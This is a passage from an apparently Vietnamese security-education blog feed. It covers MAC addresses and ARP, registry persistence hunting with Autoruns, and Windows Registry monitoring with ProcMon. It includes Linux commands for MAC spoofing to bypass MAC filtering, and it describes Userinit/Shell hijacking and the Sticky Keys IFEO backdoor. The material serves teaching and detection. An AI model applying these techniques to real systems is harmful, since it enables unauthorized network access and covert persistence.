&lt;h2 id="2-tầng-2-data-link-căn-cước-công-dân-và-địa-chỉ-mac"&gt;2. Tầng 2 (Data Link): Căn cước công dân và Địa chỉ MAC
&lt;/h2&gt;&lt;p&gt;Nếu Tầng 3 (IP) là địa chỉ nhà giúp gói tin bay xuyên lục địa, thì Tầng 2 (Data Link Layer) chịu trách nhiệm tìm đúng cánh cửa để gõ khi gói tin đã về đến mạng nội bộ (mạng LAN).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Đơn vị dữ liệu:&lt;/strong&gt; Tầng 2 sẽ bọc Packet của Tầng 3 lại thành một Frame (Khung).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Địa chỉ MAC:&lt;/strong&gt; Giao thức chính ở đây là Ethernet II, sử dụng Địa chỉ MAC (Media Access Control).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MAC giống như cái &amp;ldquo;Căn cước công dân&amp;rdquo; vật lý, một mã số duy nhất gồm 48-bit, ví dụ &lt;code&gt;40:8D:5C:9B:A6:67&lt;/code&gt;, được nhà sản xuất nạp cứng vào card mạng (NIC) của bạn.&lt;/p&gt;
&lt;p&gt;Tại sao đã có IP mà vẫn cần MAC? Trong một mạng LAN, các thiết bị trung tâm như Switch không hề nhìn vào địa chỉ IP. Chúng chỉ đọc địa chỉ MAC trên Frame để biết chính xác phải đẩy xung điện dữ liệu vào cổng (Port) vật lý nào để tới đúng máy tính của bạn chứ không phải máy của anh hàng xóm.&lt;/p&gt;
&lt;h2 id="3-cầu-nối-sinh-tử-giao-thức-phân-giải-địa-chỉ-arp"&gt;3. Cầu nối sinh tử: Giao thức phân giải địa chỉ (ARP)
&lt;/h2&gt;&lt;p&gt;Đây là lúc rắc rối xảy ra: máy tính của bạn biết IP của máy đích (Tầng 3), nhưng card mạng lại bắt buộc phải có địa chỉ MAC (Tầng 2) để truyền Frame đi. Làm sao để biết được MAC của một IP lạ? Giải pháp chính là ARP (Address Resolution Protocol).&lt;/p&gt;
&lt;p&gt;Quá trình &amp;ldquo;hỏi đường&amp;rdquo; ARP diễn ra như sau, hãy tưởng tượng mạng LAN là một căn phòng đông người:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ARP Request (Hỏi):&lt;/strong&gt; Máy của bạn &amp;ldquo;hét&amp;rdquo; lên toàn mạng (Broadcast) một thông điệp: &amp;ldquo;Ai là chủ nhân của địa chỉ IP &lt;code&gt;192.168.1.1&lt;/code&gt;? Hãy cho tôi biết địa chỉ MAC của bạn!&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ARP Reply (Trả lời):&lt;/strong&gt; Chỉ duy nhất thiết bị đang giữ IP đó mới lên tiếng đáp lại (Unicast): &amp;ldquo;Là tôi đây! Địa chỉ MAC của tôi là &lt;code&gt;AA:BB:CC:DD:EE:FF&lt;/code&gt;&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ARP Cache (Ghi nhớ):&lt;/strong&gt; Sau khi nhận câu trả lời, máy của bạn sẽ lưu cặp IP - MAC này vào Bảng ARP (ARP Table) để lần sau không phải hét lên hỏi nữa.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Ghi chú:&lt;/strong&gt; Chèn ảnh chụp màn hình Wireshark bắt gói tin ARP Request (&lt;code&gt;Who has...&lt;/code&gt;) và ARP Reply (&lt;code&gt;is at...&lt;/code&gt;) tại đây.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-góc-nhìn-kẻ-tấn-công-thực-chiến-mac-spoofing"&gt;4. Góc nhìn Kẻ tấn công: Thực chiến MAC Spoofing
&lt;/h2&gt;&lt;p&gt;Địa chỉ MAC được nạp cứng vào phần cứng, nghe có vẻ rất an toàn đúng không? Sai lầm! Địa chỉ MAC hoàn toàn có thể bị giả mạo bằng phần mềm ở cấp độ hệ điều hành. Kỹ thuật này gọi là MAC Spoofing (Giả mạo MAC).&lt;/p&gt;
&lt;p&gt;Tại sao hacker lại làm vậy? Nhiều hệ thống an ninh mạng, như hệ thống Wi-Fi ở khách sạn, công ty hay luật Firewall tĩnh, sử dụng tính năng lọc địa chỉ MAC (MAC Filtering) để quyết định ai được phép vào mạng. Bằng cách giả mạo MAC của một thiết bị hợp lệ như máy của sếp hoặc máy in, hacker có thể đàng hoàng vượt rào.&lt;/p&gt;
&lt;p&gt;Dưới đây là cách thay đổi địa chỉ MAC trên máy Linux trong môi trường lab:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Kiểm tra danh sách card mạng hiện tại&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip link show
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tắt card mạng muốn thay đổi, ví dụ wlp8s0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ip link set dev wlp8s0 down
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Đổi địa chỉ MAC sang một MAC giả&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ip link set dev wlp8s0 address 00:ad:be:ef:13:40
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bật lại card mạng&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ip link set dev wlp8s0 up
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Kiểm tra lại xem MAC đã được đổi thành công chưa&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip link show wlp8s0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo:&lt;/strong&gt; Kỹ thuật MAC Spoofing cũng là tiền đề cho một đòn đánh nghiêm trọng hơn gọi là ARP Spoofing / ARP Poisoning (đầu độc bộ nhớ cache ARP). Kẻ tấn công sẽ liên tục gửi các gói tin ARP Reply giả mạo để lừa toàn bộ máy tính trong mạng rằng: &amp;ldquo;MAC của tôi chính là Router đây&amp;rdquo;. Từ đó, luồng truy cập Internet của nạn nhân có thể bị điều hướng qua máy của kẻ tấn công trong mô hình Man-in-the-Middle.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Kết thúc Bài 2, chúng ta đã hiểu được &amp;ldquo;sợi dây liên kết&amp;rdquo; giữa địa chỉ logic (IP) và địa chỉ vật lý (MAC), cùng cách thức hoạt động của ARP và ICMP. Tầng 2 và 3 chỉ có nhiệm vụ tìm đường và ném gói tin đi, chúng không hề quan tâm gói tin có đến nơi an toàn hay không. Trách nhiệm nặng nề đó sẽ được giao cho Tầng 4. Ở Bài 3, chúng ta sẽ bước vào &amp;ldquo;trái tim&amp;rdquo; của sự ổn định: giải phẫu giao thức TCP, thuật toán bắt tay 3 bước và đi tìm nguyên nhân gây ra các lỗi rớt mạng kinh điển. Các bạn đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Săn lùng Malware trong Registry</title><link>/post/san-lung-malware-registry/</link><pubDate>Fri, 08 May 2026 16:40:00 +0700</pubDate><guid>/post/san-lung-malware-registry/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Ở bài viết trước, chúng ta đã hiểu cơ chế hoạt động của Registry. Hôm nay, chúng ta sẽ bước vào một cuộc chiến thực sự: Săn lùng Malware. Một trong những mục tiêu tối thượng của mã độc sau khi xâm nhập thành công là Duy trì sự hiện diện (Persistence) - đảm bảo rằng dù người dùng có tắt máy hay khởi động lại, mã độc vẫn sẽ tự động kích hoạt. Nơi ẩn nấp lý tưởng nhất chính là Registry. Hãy cùng trang bị &amp;ldquo;vũ khí&amp;rdquo; PowerShell Autoruns để bóc trần những điểm neo này!&lt;/p&gt;
&lt;h2 id="1-kỹ-thuật-cắm-chốt-kinh-điển-auto-run-keys"&gt;1. Kỹ thuật &amp;ldquo;Cắm chốt&amp;rdquo; kinh điển: Auto Run Keys
&lt;/h2&gt;&lt;p&gt;Hầu hết các phần mềm độc hại, từ cơ bản đến phức tạp, đều lợi dụng các khóa tự khởi động (Auto Run) do Microsoft thiết kế để kích hoạt cùng hệ thống. Các khóa này được chia theo cấp độ phân quyền:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mức độ người dùng (User Level):&lt;/strong&gt; &lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. Khóa này chỉ chạy mã độc khi người dùng hiện tại đăng nhập và không yêu cầu quyền Admin để ghi dữ liệu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mức độ hệ thống (Machine Level):&lt;/strong&gt; &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. Khóa này chạy cho mọi người dùng trên máy nhưng bắt buộc mã độc phải có quyền Administrator hoặc SYSTEM mới có thể ghi vào đây. Việc mã độc ghi thành công vào khóa này chứng tỏ hệ thống đã bị leo thang đặc quyền.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Khóa &amp;ldquo;Dùng một lần&amp;rdquo; (RunOnce):&lt;/strong&gt; Tương tự như Run, nhưng hệ điều hành sẽ tự động xóa giá trị này ngay sau khi thực thi. Malware tinh vi thường dùng RunOnce để thực hiện các tập lệnh dọn dẹp dấu vết hoặc cài đặt sâu hơn vào hệ thống.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Góc nhìn SOC:&lt;/strong&gt; Khi mã độc ghi đè hoặc tạo mới giá trị thông qua các API như &lt;code&gt;RegSetValueEx&lt;/code&gt;, Windows sẽ ghi nhận sự kiện với Event ID 4657 (A registry value was modified), trong khi Sysmon sẽ ghi nhận Event ID 13 (Registry Value Set). Riêng với khóa RunOnce, bạn sẽ thấy log nổ ra 2 lần (một lần lúc tạo và một lần lúc Windows tự xóa), tương ứng với Sysmon ID 13 và Sysmon ID 12 (Object Deleted).&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="2-kỹ-thuật-ăn-bám-tiến-trình-hệ-thống-winlogon--userinit"&gt;2. Kỹ thuật ăn bám tiến trình hệ thống: Winlogon &amp;amp; Userinit
&lt;/h2&gt;&lt;p&gt;Thay vì tạo ra một khóa Registry mới dễ bị phát hiện, những kẻ tấn công khôn ngoan hơn sẽ &amp;ldquo;ký sinh&amp;rdquo; vào các tiến trình đăng nhập cốt lõi của Windows là Winlogon.&lt;/p&gt;
&lt;p&gt;Hacker thường nhắm vào hai đường dẫn sau tại &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&lt;/code&gt;:&lt;/p&gt;
&lt;h3 id="21-ký-sinh-qua-userinit"&gt;2.1 Ký sinh qua Userinit
&lt;/h3&gt;&lt;p&gt;Mặc định, giá trị của khóa Userinit chỉ đơn giản là &lt;code&gt;userinit.exe&lt;/code&gt;. Tuy nhiên, khóa này có một tính năng đặc biệt (Comma-separated) cho phép nối nhiều đường dẫn với nhau bằng dấu phẩy. Hacker chỉ cần âm thầm chèn thêm một đoạn như &lt;code&gt;userinit.exe, C:\Users\Administrator\AppData\Local\Temp\789a.bat&lt;/code&gt;. Kết quả là hệ thống sẽ tự động &amp;ldquo;rước&amp;rdquo; mã độc vào máy một cách hoàn toàn hợp lệ ngay sau khi người dùng nhập mật khẩu.&lt;/p&gt;
&lt;h3 id="22-đánh-tráo-giao-diện-shell"&gt;2.2 Đánh tráo giao diện (Shell)
&lt;/h3&gt;&lt;p&gt;Khóa Shell có nhiệm vụ gọi giao diện màn hình làm việc (mặc định là &lt;code&gt;explorer.exe&lt;/code&gt;). Kẻ tấn công có thể thay thế hoàn toàn &lt;code&gt;explorer.exe&lt;/code&gt; bằng mã độc của chúng, hoặc nối thêm như &lt;code&gt;explorer.exe, C:\windows\temp\malware.exe&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="3-bóng-ma-cửa-sau-image-file-execution-options-ifeo"&gt;3. Bóng ma &amp;ldquo;Cửa sau&amp;rdquo;: Image File Execution Options (IFEO)
&lt;/h2&gt;&lt;p&gt;IFEO (&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\&lt;/code&gt;) vốn là một tính năng được Microsoft thiết kế để các nhà phát triển gỡ lỗi (debug) ứng dụng của họ. Nhưng trong tay Hacker, IFEO biến thành công cụ leo thang đặc quyền và duy trì sự hiện diện cực kỳ đáng sợ.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kịch bản tấn công Sticky Keys khét tiếng:&lt;/strong&gt; Hacker sẽ tạo một khóa con mang tên &lt;code&gt;sethc.exe&lt;/code&gt; (chương trình phím dính - Sticky Keys hiện lên khi bạn bấm Shift 5 lần) bên trong IFEO. Tại đây, chúng thêm một giá trị &lt;code&gt;Debugger&lt;/code&gt; trỏ thẳng tới &lt;code&gt;cmd.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Kết quả? Ngay tại màn hình khóa Windows (khi chưa cần đăng nhập), hacker chỉ cần bấm phím Shift 5 lần. Thay vì hiện ra bảng Sticky Keys, hệ thống sẽ mở ra một cửa sổ Command Prompt với quyền lực tối cao là SYSTEM, cho phép hacker kiểm soát hoàn toàn máy tính!&lt;/p&gt;
&lt;h2 id="4-thực-chiến-săn-lùng-malware-với-powershell-autoruns"&gt;4. Thực chiến: Săn lùng Malware với PowerShell Autoruns
&lt;/h2&gt;&lt;p&gt;Việc mở &lt;code&gt;regedit.exe&lt;/code&gt; lên và kiểm tra bằng tay từng khóa là điều không tưởng đối với một SOC Analyst. Đó là lúc chúng ta cần đến Autoruns - một công cụ cực mạnh giúp soi quét mọi ngóc ngách tự khởi động của hệ thống.&lt;/p&gt;
&lt;p&gt;Trong môi trường PowerShell, bạn có thể gọi module &lt;code&gt;Get-PSAutorun&lt;/code&gt; kết hợp với tham số kiểm tra chữ ký số và xuất ra dạng bảng (GridView) để dễ theo dõi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-PSAutorun -VerifyDigitalSignature | Out-GridView
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="autoruns đang quan sát các ứng dụng được ghi vào registry" class="gallery-image" data-flex-basis="462px" data-flex-grow="192" height="370" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/san-lung-malware-registry/autoruns.png" width="713"&gt;&lt;/p&gt;
&lt;p&gt;Khi bảng dữ liệu hiện lên, bạn cần &amp;ldquo;lia mắt&amp;rdquo; ngay đến các cột sinh tử sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Signed (Đã ký số):&lt;/strong&gt; Nếu giá trị là False, hãy báo động đỏ! Mã độc hiếm khi có chữ ký số hợp lệ của các nhà phát hành uy tín.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IsOSBinary:&lt;/strong&gt; Nếu là True, Windows xác nhận đây là tệp tin lõi của hệ điều hành.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Publisher:&lt;/strong&gt; Thông thường các tệp an toàn sẽ ghi là &lt;code&gt;CN=Microsoft Windows, O=Microsoft Corporation&lt;/code&gt;. Nếu cột này bị để trống hoặc ghi một cái tên mờ ám, đó là mục tiêu cần điều tra ngay.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="41-kỹ-thuật-so-sánh-baseline-điểm-chuẩn"&gt;4.1 Kỹ thuật so sánh Baseline (Điểm chuẩn)
&lt;/h3&gt;&lt;p&gt;Một kỹ năng cao cấp của Blue Team là so sánh Registry hiện tại với một bản sao lưu (Baseline) khi máy tính còn &amp;ldquo;sạch&amp;rdquo;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bỏ qua các file chuẩn của OS và tạo bản Baseline&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-PSAutorun -VerifyDigitalSignature | Where { &lt;span style="color:#f92672"&gt;-not&lt;/span&gt;($_.isOSbinary)} | New-AutoRunsBaseLine -Verbose
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# So sánh hệ thống hiện tại với bản Baseline cũ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Compare-AutoRunsBaseLine -Verbose | Out-GridView
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Bằng lệnh so sánh này, mọi khóa Userinit bị chèn thêm mã độc (như file &lt;code&gt;.bat&lt;/code&gt; hay &lt;code&gt;.ps1&lt;/code&gt;) hoặc các khóa Run mới mọc lên sẽ bị phơi bày lập tức trong một cửa sổ GridView tách biệt, giúp bạn chẩn đoán hệ thống chỉ trong vài giây.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Windows Registry là một bãi mìn thực sự, nơi mã độc và hệ thống cài răng lược vào nhau. Việc làm chủ các điểm neo Persistence và thành thạo PowerShell Autoruns sẽ giúp bạn bóc tách được những vỏ bọc tinh vi nhất. Ở bài viết tiếp theo, chúng ta sẽ tìm hiểu cách mã độc vượt rào bảo mật bằng kỹ thuật UAC Bypass. Hãy cùng đón chờ!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Windows Registry và cách dùng ProcMon</title><link>/post/windows-registry/</link><pubDate>Fri, 08 May 2026 16:00:00 +0700</pubDate><guid>/post/windows-registry/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Chúng ta đã biết File System là nơi cất giữ dữ liệu, vậy đâu là nơi lưu trữ các quy tắc điều hành máy tính? Làm sao hệ thống biết khi bật máy lên phải chạy những phần mềm nào, hình nền của bạn màu gì, hay file &lt;code&gt;.docx&lt;/code&gt; thì phải mở bằng Microsoft Word? Câu trả lời nằm ở &amp;ldquo;bộ não&amp;rdquo; của Windows: Registry. Hôm nay, chúng ta sẽ mổ xẻ cơ sở dữ liệu khổng lồ này và học cách giám sát nó bằng ProcMon.&lt;/p&gt;
&lt;h2 id="1-windows-registry-là-gì-cấu-trúc-của-các-hives"&gt;1. Windows Registry là gì? Cấu trúc của các Hives
&lt;/h2&gt;&lt;p&gt;Windows Registry là một cơ sở dữ liệu phân cấp khổng lồ, làm nhiệm vụ lưu trữ toàn bộ các thiết lập phần cứng, cấu hình phần mềm, tùy chọn của người dùng và các thiết lập bảo mật cốt lõi của hệ điều hành Windows.&lt;/p&gt;
&lt;p&gt;Mặc dù khi mở công cụ &lt;code&gt;regedit.exe&lt;/code&gt;, bạn sẽ thấy Registry hiển thị như một cây thư mục thống nhất, nhưng thực tế nó được ghép lại từ nhiều tệp tin vật lý (gọi là các Hives) nằm rải rác trên ổ cứng.&lt;/p&gt;
&lt;p&gt;Cấu trúc cốt lõi của Registry được chia thành 5 nhánh (Hives) chính:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HKEY_CLASSES_ROOT (HKCR):&lt;/strong&gt; Quản lý thông tin về các định dạng file (ví dụ: quy định file &lt;code&gt;.txt&lt;/code&gt; thì mở bằng Notepad) và các thành phần COM/OLE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKEY_CURRENT_USER (HKCU):&lt;/strong&gt; Lưu cấu hình riêng của người dùng đang đăng nhập hiện tại (như hình nền, màu sắc giao diện, các icon hay app cá nhân).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKEY_LOCAL_MACHINE (HKLM):&lt;/strong&gt; Đây là nhánh quan trọng nhất dưới góc độ SOC. Nó lưu trữ cấu hình của toàn bộ máy tính, bao gồm phần cứng, Driver, thiết lập mạng, bảo mật và các phần mềm dùng chung cho mọi người dùng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKEY_USERS (HKU):&lt;/strong&gt; Chứa tất cả các profile (hồ sơ) của mọi người dùng từng đăng nhập trên máy tính này. Thực chất, dữ liệu của nhánh HKCU chỉ là một bản ánh xạ từ một nhánh con bên trong HKU.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKEY_CURRENT_CONFIG (HKCC):&lt;/strong&gt; Chứa các thông tin về cấu hình phần cứng hiện tại đang được sử dụng ở lần khởi động này.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="registry editor" class="gallery-image" data-flex-basis="401px" data-flex-grow="167" height="137" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-registry/haha.png" width="229"&gt;&lt;/p&gt;
&lt;h2 id="2-cơ-chế-hoạt-động-nguồn-gốc-dữ-liệu-và-sự-lắng-nghe"&gt;2. Cơ chế hoạt động: Nguồn gốc dữ liệu và Sự &amp;ldquo;lắng nghe&amp;rdquo;
&lt;/h2&gt;&lt;p&gt;Vậy làm sao các phần mềm biết phải ghi thông tin vào đâu trong Registry, và Windows lấy dữ liệu ra như thế nào?&lt;/p&gt;
&lt;h3 id="21-tài-liệu-msdn-microsoft-developer-network"&gt;2.1 Tài liệu MSDN (Microsoft Developer Network)
&lt;/h3&gt;&lt;p&gt;Khi Microsoft tạo ra Windows, họ thiết kế một bộ quy tắc và công khai các khóa Registry thông qua tài liệu SDK/MSDN. Nhờ đó, các lập trình viên phần mềm (như Adobe, Google,&amp;hellip;) biết cách đăng ký dịch vụ, thiết lập quyền hạn hoặc tùy chỉnh giao diện ứng dụng của mình. Chẳng hạn, các khóa tự khởi động (Run keys) được ghi chép rất rõ ràng để phần mềm biết chỗ mà &amp;ldquo;cắm chốt&amp;rdquo; khởi động cùng máy.&lt;/p&gt;
&lt;h3 id="22-cơ-chế-lắng-nghe-event-driven"&gt;2.2 Cơ chế &amp;ldquo;Lắng nghe&amp;rdquo; (Event-Driven)
&lt;/h3&gt;&lt;p&gt;Một câu hỏi thú vị: Tại sao khi bạn vào Registry, đổi một Key từ &lt;code&gt;False&lt;/code&gt; sang &lt;code&gt;True&lt;/code&gt; thì thanh Dock (hoặc Taskbar) lại lập tức thay đổi vị trí?&lt;/p&gt;
&lt;p&gt;Bản chất của vấn đề là: Windows (và các tiến trình như &lt;code&gt;explorer.exe&lt;/code&gt;) liên tục thực hiện hành động &amp;ldquo;đọc&amp;rdquo; Registry. Registry thực chất chỉ là một &amp;ldquo;cái kho&amp;rdquo; hay một bảng cài đặt khổng lồ. Việc một tính năng có hoạt động hay không là do mã nguồn của Windows đã được lập trình để luôn nhìn vào cái kho đó trước khi thực hiện hành động. Hệ thống chạy một đoạn mã logic dạng: &lt;em&gt;&amp;ldquo;Nếu giá trị tại Key [ThanhDock] là True thì vẽ nó ở giữa, nếu là False thì vẽ bên trái&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="3-kỹ-thuật-đảo-ngược-và-giám-sát-bằng-procmon"&gt;3. Kỹ thuật Đảo ngược và Giám sát bằng ProcMon
&lt;/h2&gt;&lt;p&gt;Vì Registry là một cái kho tĩnh, đôi khi có những &amp;ldquo;bí mật&amp;rdquo; hoặc các khóa Registry không hề được Microsoft ghi trong tài liệu chính thức. Vậy làm sao các chuyên gia hay những &amp;ldquo;người ham vọc vạch&amp;rdquo; tìm ra chúng? Câu trả lời là Kỹ thuật Đảo ngược (Reverse Engineering) bằng việc giám sát thời gian thực.&lt;/p&gt;
&lt;p&gt;Công cụ đắc lực nhất cho việc này là &lt;strong&gt;Process Monitor (ProcMon)&lt;/strong&gt; - một phần mềm thuộc bộ Sysinternals do chính Microsoft cung cấp.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cách thực chiến với ProcMon:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bật ProcMon và đặt bộ lọc (Filter) chỉ theo dõi các sự kiện liên quan đến Registry (Registry Activity).&lt;/li&gt;
&lt;li&gt;Mở giao diện cài đặt của Windows lên (ví dụ: cài đặt vị trí thanh Dock hoặc tắt/bật một tính năng bảo mật).&lt;/li&gt;
&lt;li&gt;Thực hiện thay đổi (click chuột, bấm Apply) và ngay lập tức quan sát trên màn hình ProcMon.&lt;/li&gt;
&lt;li&gt;ProcMon sẽ bắt được chính xác tiến trình nào của Windows vừa thực hiện lệnh Write (ghi) giá trị gì vào đường dẫn khóa Registry nào.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bằng cách khoa học này, các nhà phân tích bảo mật có thể dễ dàng bắt thóp được mọi hành vi ngầm mà một ứng dụng (hoặc một mã độc) đang cố tình can thiệp vào hệ thống.&lt;/p&gt;
&lt;p&gt;&lt;img alt="procmon đang monitor registry" class="gallery-image" data-flex-basis="374px" data-flex-grow="155" height="510" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-registry/procmon.png" width="795"&gt;&lt;/p&gt;
&lt;h2 id="4-góc-nhìn-soc-điểm-neo-của-hacker-persistence"&gt;4. Góc nhìn SOC: Điểm neo của Hacker (Persistence)
&lt;/h2&gt;&lt;p&gt;Registry không chỉ đơn thuần lưu trữ cài đặt, nó còn có khả năng ra lệnh cho Windows phải làm gì. Do đó, đây là &amp;ldquo;mỏ vàng&amp;rdquo; để virus và mã độc lẩn trốn, đảm bảo rằng dù bạn có xóa file thực thi trên màn hình, mã độc vẫn sẽ tự động quay lại (Persistence) nhờ các dòng lệnh được nhúng trong Registry.&lt;/p&gt;
&lt;p&gt;Những vị trí Registry nhạy cảm nhất mà một SOC Analyst phải thường xuyên giám sát bao gồm:&lt;/p&gt;
&lt;h3 id="41-các-khóa-tự-khởi-động-auto-run-keys"&gt;4.1 Các khóa tự khởi động (Auto Run Keys)
&lt;/h3&gt;&lt;p&gt;Hacker cực kỳ thích &amp;ldquo;cắm chốt&amp;rdquo; tại các đường dẫn sau để mã độc chạy ngay khi bật máy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;(Lưu ý: HKLM sẽ chạy cho toàn bộ máy tính và yêu cầu quyền Admin để ghi, trong khi HKCU chỉ chạy cho người dùng hiện tại).&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="42-lợi-dụng-tính-năng-userinit-winlogon"&gt;4.2 Lợi dụng tính năng Userinit (Winlogon)
&lt;/h3&gt;&lt;p&gt;Được thiết kế để chuẩn bị môi trường làm việc sau khi đăng nhập, khóa Registry sau quy định chương trình khởi tạo mặc định của Windows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
